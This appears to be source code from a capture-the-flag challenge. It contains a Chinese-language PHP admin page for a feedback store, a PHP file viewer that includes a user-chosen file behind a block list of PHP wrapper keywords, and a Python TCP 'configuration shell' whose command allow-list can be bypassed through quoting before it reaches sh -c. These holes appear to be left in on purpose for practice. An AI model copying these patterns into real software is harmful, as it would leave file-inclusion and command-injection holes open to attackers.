['password' ] === $admin_password ) { $_SESSION ['logged_in' ] = true ; } else { echo '<p class="text-yellow-500 text-center error-message mb-6">密码错误!</p>' ; } } if (!isset ($_SESSION ['logged_in' ]) || $_SESSION ['logged_in' ] !== true ) { ?> <form action="" method="POST" class ="bg -gray -800 p -8 rounded -lg glow mb -12 max -w -md mx -auto "> <div class ="mb -6"> <label for ="password " class ="block text -sm font -medium text -gray -300">管理员密码</label > <input type ="password " name ="password " id ="password " required class ="mt -1 p -3 w -full bg -gray -700 border border -gray -600 rounded -md text -white focus :ring -2 focus :ring -blue -500" placeholder ="请输入密码"> </div > <button type ="submit " class ="w -full bg -blue -600 hover :bg -blue -700 text -white font -bold py -3 px -4 rounded -md transition duration -300">登录</button > </form > <?php } else { ?> <!-- 统计数据 --> <div class ="bg -gray -800 p -8 rounded -lg glow "> <h2 class ="text -2xl font -semibold text -white mb -6">反馈统计概览</h2 > <p class ="text -gray -300 mb -4">以下是用户提交的商品反馈统计数据,包含反馈总数、文件数量及存储占用情况。所有反馈文件可在<a href ="uploads /" class ="text -blue -500 hover :underline ">反馈档案目录</a >中查看。</p > <?php $upload_dir = __DIR__ . '/uploads /'; $metadata_file = $upload_dir . 'feedbacks .json '; // 统计反馈总数 $total_feedbacks = 0; $user_counts = []; $product_counts = []; if (file_exists ($metadata_file )) { $feedbacks = json_decode (file_get_contents ($metadata_file ), true ); if (is_array ($feedbacks )) { $total_feedbacks = count ($feedbacks ); foreach ($feedbacks as $fb ) { $username = $fb ['username' ]; $product = $fb ['product' ]; $user_counts [$username ] = ($user_counts [$username ] ?? 0 ) + 1 ; $product_counts [$product ] = ($product_counts [$product ] ?? 0 ) + 1 ; } } else { echo '<p class="text-yellow-400 text-center error-message mb-4">无法解析反馈数据!</p>' ; } } else { echo '<p class="text-yellow-400 text-center error-message mb-4">反馈数据文件不存在!</p>' ; } $file_count = 0 ; $total_size = 0 ; $files = glob ($upload_dir . '*.txt' ); echo '<div class="bg-gray-700 p-6 rounded-md mb-8">' ; echo '<h2 class="text-xl font-bold text-blue-400 mb-4">反馈文件列表</h2>' ; echo '<table class="min-w-full text-left text-gray-200"><thead><tr><th class="py-2">文件名</th><th class="py-2">大小</th><th class="py-2">操作</th></tr></thead><tbody>' ; foreach ($files as $file ) { $filename = basename ($file ); $size = filesize ($file ); $file_count ++; $total_size += $size ; echo '<tr><td class="py-1 px-2 border-b">' ; echo $filename ; echo '</td><td class="py-1 px-2 border-b">' . $size . ' B</td>' ; echo '<td class="py-1 px-2 border-b">' ; echo '<form method="POST" style="display:inline" onsubmit="return confirm(\'确定要删除此文件吗?\');">' ; echo '<input type="hidden" name="delete_file" value="' . htmlspecialchars ($filename ) . '"><button type="submit" class="text-red-400 hover:text-red-600 underline">删除</button>' ; echo '</form>' ; echo '</td></tr>' ; } echo '</tbody></table>' ; echo '<div class="mt-4 text-blue-300">总文件数: ' . $file_count . ',总大小: ' . ($total_size > 1024 ? number_format ($total_size /1024 ,1 ).' KB' : $total_size .' B' ) . '</div>' ; echo '</div>' ; echo '<h3 class="text-lg font-semibold text-blue-400 mb-2">用户反馈统计</h3>' ; echo '<ul class="list-disc list-inside text-gray-200 mb-4">' ; if (count ($user_counts ) === 0 ) { echo '<li>暂无数据</li>' ; } else { foreach ($user_counts as $user => $count ) { echo '<li>' . htmlspecialchars ($user ) . ': ' . $count . ' 条反馈</li>' ; } } echo '</ul>' ; echo '<h3 class="text-lg font-semibold text-blue-400 mb-2">商品反馈统计</h3>' ; echo '<ul class="list-disc list-inside text-gray-200">' ; if (count ($product_counts ) === 0 ) { echo '<li>暂无数据</li>' ; } else { foreach ($product_counts as $product => $count ) { echo '<li>' . htmlspecialchars ($product ) . ': ' . $count . ' 条反馈</li>' ; } } echo '</ul>' ; ?> </div> <?php } ?> </div> <footer class ="text -center text -gray -400 text -sm mt -12 py -6"> <p >© 2025 星际商城 | 管理员专用</p > </footer > </body > </html > <?php // 删除文件处理(必须在任何输出前) if (isset ($_SESSION ['logged_in ']) && $_SESSION ['logged_in '] === true && isset ($_POST ['delete_file '])) { $upload_dir = __DIR__ . '/uploads/' ; $metadata_file = $upload_dir . 'feedbacks.json' ; $del_file = basename ($_POST ['delete_file' ]); $del_path = $upload_dir . $del_file ; if (is_file ($del_path ) && strpos ($del_file , '.txt' ) !== false ) { @unlink ($del_path ); if (file_exists ($metadata_file )) { $feedbacks = json_decode (file_get_contents ($metadata_file ), true ); if (is_array ($feedbacks )) { $feedbacks = array_filter ($feedbacks , function($fb ) use ($del_file ) { return $fb ['filename '] !== $del_file ; }); file_put_contents ($metadata_file , json_encode (array_values ($feedbacks ), JSON_PRETTY_PRINT)); } } header ('Location: ' . $_SERVER ['REQUEST_URI' ]); exit ; } } if (isset ($_SESSION ['logged_in' ]) && $_SESSION ['logged_in' ] === true ) { $page_content = ob_get_contents (); file_put_contents (__DIR__ . '/admin.html' , $page_content ); echo '<div style="display:none" id="static-tip">[debug] 静态页面已生成</div>' ; } ob_end_flush ();?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php $allow_dir = realpath (__DIR__ . '/../' ) . '/' ;$filename = isset ($_GET ['file' ]) ? $_GET ['file' ] : '' ;if ( $filename && strpos ($filename , '..' ) === false && strpos ($filename , 'php:' ) === false && strpos ($filename , '://' ) === false && strpos ($filename , 'filter' ) === false && strpos ($filename , 'data:' ) === false && strpos ($filename , 'zip:' ) === false && strpos ($filename , 'phar:' ) === false && strpos ($filename , 'glob:' ) === false && strpos ($filename , 'expect:' ) === false && strpos ($filename , 'input' ) === false && preg_match ('/^[a-zA-Z0-9_\-\.]+$/' , $filename ) ) { $target = $allow_dir . $filename ; if (file_exists ($target )) { echo "<pre>" ; include ($target ); echo "</pre>" ; } else { echo "<p style='color:red'>文件不存在</p>" ; } } else { echo "<p style='color:red'>非法文件名</p>" ; } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 import socketimport subprocessimport osimport reimport timeCONFIG_FILE = "/opt/server.conf" LOG_FILE = "/opt/server.log" def init_files (): if not os.path.exists(CONFIG_FILE): with open (CONFIG_FILE, "w" ) as f: f.write("server_name: ctf_target\nlog_file: /opt/server.log\n" ) if not os.path.exists(LOG_FILE): with open (LOG_FILE, "w" ) as f: f.write("Server log initialized.\n" ) def log_action (action, client_addr ): with open (LOG_FILE, "a" ) as f: timestamp = time.strftime("%Y-%m-%d %H:%M:%S" ) f.write(f"[{timestamp} ] {client_addr} : {action} \n" ) def read_config (): try : with open (CONFIG_FILE, "r" ) as f: return f.read().strip() except FileNotFoundError: return "Error: Config file not found." except Exception as e: return f"Error reading config: {str (e)} " def write_config (data ): try : if not re.match (r'^[a-zA-Z0-9\s:._-]+$' , data): return "Error: Invalid characters in input." with open (CONFIG_FILE, "a" ) as f: f.write(f"{data} \n" ) return f"Written to config: {data} " except Exception as e: return f"Error writing config: {str (e)} " def list_files (): try : files = os.listdir("/opt" ) return "Files in /opt:\n" + "\n" .join(files) except Exception as e: return f"Error listing files: {str (e)} " def check_status (): return """Service Status: - Running: Yes - Security: Advanced input validation enabled - Log: Active - Note: Command execution restricted to safe commands""" def exec_cmd (cmd, client_addr ): if re.search(r'[;|<>]' , cmd): log_action(f"Blocked suspicious input: {cmd} " , client_addr) return "Error: Forbidden characters (;|&<>) detected." allowed_cmds = ["whoami" , "pwd" , "date" , "id" ] base_cmd = cmd.split("'" )[0 ].strip() if base_cmd not in allowed_cmds: log_action(f"Invalid command: {cmd} " , client_addr) return f"Error: '{base_cmd} ' not in allowed commands: {', ' .join(allowed_cmds)} " try : full_cmd = f"sh -c '{cmd} '" log_action(f"Executing command: {full_cmd} " , client_addr) result = subprocess.run(full_cmd, shell=True , capture_output=True , text=True , timeout=5 ) return result.stdout or result.stderr or "Command executed." except subprocess.TimeoutExpired: return "Error: Command timed out." except Exception as e: return f"Error executing command: {str (e)} " def show_help (): return """=== Configuration Shell === ?/help List available commands q/quit Exit the shell read_config Read server configuration write_config Write to server configuration list_files List files in /opt directory check_status Check server status exec_cmd Execute allowed system commands (e.g., whoami, pwd) """ def handle_client (client_socket, client_addr ): client_socket.send(b"conf> " ) while True : try : data = client_socket.recv(1024 ).decode().strip() if not data: break log_action(f"Received: {data} " , client_addr) parts = data.split(maxsplit=1 ) command = parts[0 ].lower() if parts else "" args = parts[1 ] if len (parts) > 1 else "" if command in ("?" , "help" ): response = show_help() elif command in ("q" , "quit" ): client_socket.send(b"Goodbye.\n" ) break elif command == "read_config" : response = f"Running 'cat {CONFIG_FILE} '\n{read_config()} " elif command == "write_config" : response = write_config(args) if args else "Error: write_config requires an argument." elif command == "list_files" : response = list_files() elif command == "check_status" : response = check_status() elif command == "exec_cmd" : response = exec_cmd(args, client_addr) if args else "Error: exec_cmd requires an argument." else : response = "Unknown command. Type 'help' for commands." client_socket.send(f"{response} \nconf> " .encode()) except Exception as e: client_socket.send(f"Error: {str (e)} \nconf> " .encode()) def main (): init_files() server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) server.bind(("0.0.0.0" , 12345 )) server.listen(5 ) print ("Server listening on port 12345..." ) while True : try : client_socket, addr = server.accept() print (f"Connection from {addr} " ) handle_client(client_socket, addr) client_socket.close() print (f"Connection from {addr} closed" ) except KeyboardInterrupt: print ("\nShutting down server..." ) break except Exception as e: print (f"Server error: {str (e)} " ) server.close() if __name__ == "__main__" : main()